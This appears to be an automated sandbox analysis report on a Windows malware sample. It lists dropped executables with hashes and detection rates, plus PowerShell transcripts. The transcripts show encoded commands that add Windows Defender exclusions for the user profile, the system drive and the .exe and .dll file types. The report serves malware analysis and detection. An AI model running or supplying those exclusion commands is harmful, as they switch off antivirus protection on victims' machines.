Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2"?>..<tlm>..<src>..<desc>..<mach>..<os>..<arg nm="vermaj" val="10" />..<arg nm="vermin" val="0" />..<arg nm="verbld" val="17134" />..<arg nm="vercsdbld" val="1" />..<arg nm="verqfe" val="1" />..<arg nm="csdbld" val="1" />..<arg nm="versp" val="0" />..<arg nm="arch" val="9" />..<arg nm="lcid" val="1033" />..<arg nm="geoid" val="244" />..<arg nm="sku" val="48" />..<arg nm="domain" val="0" />..<arg nm="prodsuite" val="256" />..<arg nm="ntprodtype" val="1" />..<arg nm="platid" val="2" />..<arg nm="tmsi" val="1341579" />..<arg nm="osinsty" val="1" />..<arg nm="iever" val="11.1.17134.0-11.0.47" />..<arg nm="portos" val="0" />..<arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF680.tmp.dmp	
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jan 14 06:28:26 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	941202
Entropy (8bit):	0.7299344317226818
Encrypted:	false
SSDEEP:	768:2nyGmeAXryhbX09e76aQVVeFMuEsD/FnxD:HeSrYaZaQVpeD/FnxD
MD5:	8EAFDD9AEB75478374B64F8D84E6F0C2

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF680.tmp.dmp	
SHA1:	10D977705FF8E3CC67D8A974BBC799425770882F
SHA-256:	B8F4E4507260EF141701CDFB0017294C7CF0B12A180C587009DD92FB67F7FFEC
SHA-512:	DAF6CD68924E18E1F8C6254DB980406D334318E74C8C652DE49E874F4D4CAF6BB0DBF4A976A6E493A7B67BD7945F76F6B270A6BF68F503F78FC3FF88CF6DDA0
Malicious:	false
Preview:	MDMP.....a.....#.....T.....8.....T.....h...*K.....U.....B.....GenuineIn telW.....T.....a.....0.....P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e.....P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e.....1.7.1.3.4...1...x.8.6.f.r.e...r.s.4_ .r.e.l.e.a.s.e...1.8.0.4.1.0-.1.8.0.4.....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\build.exe.log	
Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	973
Entropy (8bit):	5.374440234733254
Encrypted:	false
SSDEEP:	12:Q3La\KDLi4MWuPTxAIDAWDLi4MWuC5iKDLi4MN5P6D1BakvoDLi4MWuPak2kL0nQ:ML9E4KrVE4Ki1qE4GiD0E4KeGasXE4+Y
MD5:	F9C0244A9DA1948564014DA432053B7F
SHA1:	3F1F8883E491C8AFB763E49FCC6A4374990C2E27
SHA-256:	21B4E2DD0C55B338DE5F24CDB2EC7B0D094092EA740D221F94DF201645053A55
SHA-512:	F52C6E788557C96D1523BD8E4FF6B14CA829608CD3C4ABA1D0A2C98FFE366363F5D3576A358F89AC0E06CC823DC5698815EF0637BF2A097C6D41CCB5F7F626:
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeIma ges_v4.0.30319_64\System10a17139182a9efd561f01fada9688a5\System.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken =b77a5c561934e089",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.303 19_64\System.Drawing\49e5c0579db170be9741dccc34c1998e\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyTo ken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\6d7d43e19d7fc0006285b85b7e2c8702\System.Windows.F orms.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_ 64\System.Management\df0feb5b1d0857aabc3e7dd079735875\System.Management.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\AppLaunch.exe.log	
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2291
Entropy (8bit):	5.3192079301865585
Encrypted:	false
SSDEEP:	48:MOfHK5HKXAHKbBHKdHKB1AHKzvQTHmYHKhQnoPtHoxHlMhKAHK1HxLHG1qHqH5HX: vq5qXAqLqdqUqzcGYqhQnoPtIxHbqAqG
MD5:	174E563C986AB09114A6F31F870A6E13
SHA1:	F68EFD0C04D0559B24C448E629A0115F2E6C3B39D
SHA-256:	465C8001CEFD747AF8A94EDD62CC829D8DFF4D6BED174591DA0B71E10FDC584F
SHA-512:	252A2B615BB7BB4223F0873F41CC7C4BC6576172CD704D93926E004CD5795CA5DC2DE3332586BF3C44E0B564148A7661563C00B204649C7A5594C097C1E9EC
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0 .0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.n i.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.IdentityModel, Version=4.0.0.0, Culture=neutral, Pub licKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assem bly\NativeImages_v4.0.30319_32\System.Runtime\92aa12#34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\fb219d4630d26b88041b59c21e8e2b95c\S ystem.Xml.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1292
Entropy (8bit):	5.353119324066577
Encrypted:	false
SSDEEP:	24:3vUAPqR\Ao4KAxX5qRPD42HOoVZnCvK39tCKnKJRSF8PQ9b6F:8APerB4nqRL\HvfnCvO9tC4aR48Y9eF
MD5:	4DB9529576BAA9F06F956AE6732E66EC
SHA1:	FE03BFD96B135775A22C7E1D12E73604007ADB5B
SHA-256:	0810A688097D826940C4FA146DD9818EA71F1B0AC1BFF33DC7578AC038FC0072
SHA-512:	D1D9B7C67C1D402C0B4FFAC2EDE878BAE043F54C3D39D1DD2AE3D71F213A47EA7A4FA64F74C90412FB3514CD2EE9AB9602D9836A159205129205ACB669D936D
Malicious:	false

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Preview:	@...e.....@.....8.....'...L.).....System.Numerics.H.....<@.^L."My..... Microsoft.PowerShell.ConsoleHost0.....G-.o.. .A...4B.....System..4.....[...{a.C..%6..h.....System.Core.D.....fZve...F....x.).....System.Management.AutomationL.....7.....J@.....~.....#.Micro soft.Management.Infrastructure.<.....H..QN.Y.f.....System.Management...@.....Lo..QN.....<Q.....System.DirectoryServices4.....Zg5..:O..g..q..... ...System.Xml..4.....T..Z..N..Nvj.G.....System.Data.H.....H..m)aUu.....Microsoft.PowerShell.Security...<.....)gK..G...\$.1.q.....System.Conf iguration<.....)L..Pz.O.E.R.....System.Transactions.P...../..C..J..%...].....%.Microsoft.PowerShell.Commands.Utility...D.....-D.F.<;nt.1.....S ystem.Configuration.Ins
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C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_10gn13hc.ym3.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_1g4olows.xrp.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_bu1bjzfj.wth.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_d2junhty.34m.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_d2junhty.34m.psm1	
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_dcbsv50d.ern.ps1	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_invyehdm.zr3.psm1	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_mkjkbiky.k3x.ps1	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_q0nsdhxo.m4x.ps1	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U

C:\Users\user1\AppData\Local\Temp__PSScriptPolicyTest_q0nsdhxo.m4x.ps1	
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C
Malicious:	false
Preview:	1

C:\Users\user1\AppData\Local\Temp__PSScriptPolicyTest_tnvplvoi.dlu.psm1	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C
Malicious:	false
Preview:	1

C:\Users\user1\AppData\Local\Temp__PSScriptPolicyTest_va4mlxse.ypt.ps1	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C
Malicious:	false
Preview:	1

C:\Users\user1\AppData\Local\Temp__PSScriptPolicyTest_yhqzphqu.dbu.ps1	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C
Malicious:	false
Preview:	1

C:\Users\user1\AppData\Local\Temp__PSScriptPolicyTest_zaesacu4.j43.psm1	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false

C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_zaesacu4.j43.psm1	
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA4651C A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\build.exe	
Process:	C:\Windows\Microsoft.NET\Framework\lv4.0.30319\AppLaunch.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5638144
Entropy (8bit):	6.011470532161034
Encrypted:	false
SSDEEP:	49152:xRdRMV1+wwwoopISL5xrNZTQlhCpWGfdNYebqgaPnoS6ExN5CbW2yHgnlrxkp:
MD5:	B228FA5A9B83EE75E71DE49EB56B2E4A
SHA1:	421AC6FFB1A7605B3C45C7152349788C15A323E6
SHA-256:	D7AF9C79BBCB931814AFBFA93912C980684D01361EE35D2D97A57B4C260939E2
SHA-512:	315F5A3A899E993A20E06DB3193622658CDD2781E89EF07EDC1CB1C282D85D47DC982377D34A4E34B1F0902142B3060DD02FACC898316D908E8EDBC258C3662
Malicious:	true
Antivirus:	- Antivirus: Avira, Detection: 100% - Antivirus: Metadefender, Detection: 40%, Browse - Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ.....@.....!..L!This program cannot be run in DOS mode....\$.PE..d...../.....U....*".....@.....PV.....V.V.<...@V.....0V.....V.....text.....`rdata..2.U..0...U.....@..@.data..... V.....V.....@...pdata.....0V.....V.....@...@.rsrc.....@V.....V.....@..@.....

C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys	
Process:	C:\Users\user\AppData\Roaming\ghjrytoi.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90FC5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E017 D
Malicious:	false
Antivirus:	- Antivirus: Metadefender, Detection: 3%, Browse - Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ.....@.....!..L!This program cannot be run in DOS mode....\$.5.n.q[.q[.q[.].V.{.t[.V}.p[.V.m.r[.V.q.p[.V.].p[.V.x.p[.. Richq[.....PE..d...&.H.....".....P.....p.....dP..<...`.....@..`.....p.....p.....text......h.rdata..].@..H.data.....0.....@...pdata..`...@.....@..HINIT...."....P..... ....rsrc.....`.....@..B.....

C:\Users\user\AppData\Roaming\Microsoft\Telemetry\sihost64.exe	
Process:	C:\Users\user\AppData\Roaming\ghjrytoi.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	44032
Entropy (8bit):	6.322103792970045
Encrypted:	false
SSDEEP:	768:4WFDlvxT4p6sbk47Daj6fUC9gsoKb7qX5YN3GWx1CZ13WogNJDNecXKAA:JUv9+fbrDaj6fUwgWPU5Y5oZlaDYj
MD5:	42F02A9DECf3BCC34A5137FD448A8D1F
SHA1:	2E20B8429F13CC56A60C42F710A7EBB4B78FD466
SHA-256:	D6D7ACD022833E660267FE61F171A62AA0A4CB107369895263DB632903FFCD6B
SHA-512:	923C289564DC72B4D714B0D6B41DAE40EE4F692748187326145FAD92A4BA17E54222EC309463004213A77300495131385D45C67869C1B2BC7E9D9EBC0F19A230

C:\Users\user\AppData\Roaming\Microsoft\Telemetry\sihost64.exe	
Malicious:	true
Antivirus:	- Antivirus: Avira, Detection: 100% - Antivirus: Metadefender, Detection: 40%, Browse - Antivirus: ReversingLabs, Detection: 75%
Reputation:	unknown
Preview:	MZ.....@.....!..L.!This program cannot be run in DOS mode...\$......PE..d...../.....\$......@.....dq..<.....text.....`rdata.....0.....@.. @.data.....@....pdata.....@..@.rsrc.....@..@.....

C:\Users\user\AppData\Roaming\ghjrytoi.exe	
Process:	C:\Users\user\AppData\Local\Temp\build.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5638144
Entropy (8bit):	6.011470532161034
Encrypted:	false
SSDEEP:	49152:xRdRMV1+wwwuopISL5xrNZTQlhCpWGfdNYebqgaPnoS6ExN5CbW2yHgnlrxkp:
MD5:	B228FA5A9B83EE75E71DE49EB56B2E4A
SHA1:	421AC6FFB1A7605B3C45C7152349788C15A323E6
SHA-256:	D7AF9C79BBCB931814AFBFA93912C980684D01361EE35D2D97A57B4C260939E2
SHA-512:	315F5A3A899E993A20E06DB3193622658CDD2781E89EF07EDC1CB1C282D85D47DC982377D34A4E34B1F0902142B3060DD02FACC898316D908E8EDBC258C3662
Malicious:	true
Antivirus:	- Antivirus: Avira, Detection: 100% - Antivirus: Metadefender, Detection: 40%, Browse - Antivirus: ReversingLabs, Detection: 82%
Reputation:	unknown
Preview:	MZ.....@.....!..L.!This program cannot be run in DOS mode...\$......PE..d...../.....U.....*".....@.....PV.....V..V.<.....@V.....0V.....V.....text.....`rdata..2U..0...U.....@..@.data.....V.....V.....@....pdata.....0V.....V.....@..@.rsrc.....@V.....V.....@..@.....

C:\Users\user\Documents\20220113\PowerShell_transcript.301389.6UPy3IMs.20220113223005.txt	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5764
Entropy (8bit):	5.5224839577393094
Encrypted:	false
SSDEEP:	96:BZ1/2N2AMLtqDo1ZoZc/2N2AMLtqDo1ZFgC4jZ2/2N2AMLtqDo1ZQBooyZt:rvJJ
MD5:	183E133CD3CA3FBEAE4368E2F48126DB
SHA1:	F10BFB5423CE844D1DE21BCAAD5D180205513B50
SHA-256:	55F975259296B78DD4445F95CC9755752CC290035BFB5C7F64799EADDFEF27B7
SHA-512:	35F3EFB8455E2015F3B75A5122BE1904B3973DD68060EAB1A8366260AC4002C940414DF36827EDBAB9B52145FED23F5A6858A4104214B1DD4562B04D36E89D82
Malicious:	false
Reputation:	unknown
Preview:	.*****.Windows PowerShell transcript start..Start time: 20220113223007..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand QQBkAGQALQBNAAUABYAGUAZgBIAHIAZQBuAG MAZQAgAC0ARQB4AGMabAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAAAnACKAIAAtAEYAbwBy AGMAZQA=..Process ID: 5332..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1.. CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1.***** **..Command start time: 20220113223007..*****..PS>Add-MpPreference -ExclusionExtension @(‘exe’,‘dll’) -Force..*****.Windows PowerShell transcript start..Start time: 20220113223512..Username: computer\user..

C:\Users\user\Documents\20220113\PowerShell_transcript.301389.FRFPsz6T.20220113222857.txt	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6069
Entropy (8bit):	5.5271350785263085
Encrypted:	false
SSDEEP:	96:BZD/2N2clqDo1ZrFZM/2N2clqDo1ZW3x1xvxjZl/2N2clqDo1ZqSx/xZZy:Ncqczcu
MD5:	336D9930312531234DE48BA7ED65D151
SHA1:	DBACD613CEE90AB462AD2562BA58F41491A2457E
SHA-256:	11C4647FA31B3C4CF8E7BA17D0C920D8D5AC71639FBE65E94FF16F7A884E999

C:\Users\user\Documents\20220113\PowerShell_transcript.301389.FRFPsZ6T.20220113222857.txt	
SHA-512:	1AA2D8FA4B1B1DEDC84C8FEE43FC951FFECE1CF5523AD678EE9C1E3B5B73D245EE3558527BAA056E608E6DD3AA23981D0A55C5F93AF165BC785609D537BC085A
Malicious:	false
Reputation:	unknown
Preview:	.*****.Windows PowerShell transcript start..Start time: 20220113222859..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand QQBkAGQALQBNAAUAUByAGUAZgBIAHIAZQBuaGMAZQAgaC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAakAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAgaKAbABIAcWajABIAg4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA..Process ID: 2968..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..*****.*****.Command start time: 20220113222859..*****.PS>Add-MpPreference -ExclusionPath @(\$env:UserProfile,\$env:SystemDrive) -Force..*****.Windows PowerShell transcript start..S

C:\Users\user\Documents\20220113\PowerShell_transcript.301389.N5Cuc9N_.20220113222957.txt	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	6069
Entropy (8bit):	5.527054643263197
Encrypted:	false
SSDEEP:	96:BZcS/2N2cgqDo1ZigFZ4/2N2cgqDo1Z43x1xvxjZ5/2N2cgqDo1ZGSx/x/Zc:5cncZcR
MD5:	ACB32E39EB26302A1478798DD0080E6B
SHA1:	019317276EED3EB268B878261918E3740122D532
SHA-256:	8EAB2FE8C7B8A15601AD6F8BE6288DC39B85DB18F82EE5A7565FA641161DD249
SHA-512:	EEEE7D5B09D1CCCB01E4A9177D3EFC649714919040B4A08B42AB51598C7867986C1029166A6EC372BEECF0CCC97FAC53195CA012094DD5B280BB1c94DCFC4BF
Malicious:	false
Reputation:	unknown
Preview:	.*****.Windows PowerShell transcript start..Start time: 20220113222958..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 301389 (Microsoft Windows NT 10.0.17134.0)..Host Application: powershell -EncodedCommand QQBkAGQALQBNAAUAUByAGUAZgBIAHIAZQBuaGMAZQAgaC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAakAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAgaKAbABIAcWajABIAg4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA..Process ID: 3896..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..*****.*****.Command start time: 20220113222958..*****.PS>Add-MpPreference -ExclusionPath @(\$env:UserProfile,\$env:SystemDrive) -Force..*****.Windows PowerShell transcript start..S

C:\Users\user\Documents\20220113\PowerShell_transcript.301389.SSa5MXJa.20220113222922.txt	
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5764
Entropy (8bit):	5.525186073849101
Encrypted:	false
SSDEEP:	96:BZ1/2N2AMiqDo1ZMZ7/2N2AMiqDo1ZOgC4jZa/2N2AMiqDo1ZoBooZZK:z9ng
MD5:	FE1B956DEAB5AAE9C0E9A556522BB515
SHA1:	CAF3D7B400FA491A35B3EC0E6B5092AF3B1F1C3A
SHA-256:	3928D8989268370AE6E4857FA83D2103DDEC34039B0D319A687A3E0652646A4F
SHA-512:	FFF42F54DF57B1DF92698807E85AFB921C77C4682895E84A5B4C94374593E4C034C222FB90BFD8812609C6BD58BE37874D73143B0EB4788DC3A07BF479A59B89
Malicious:	false
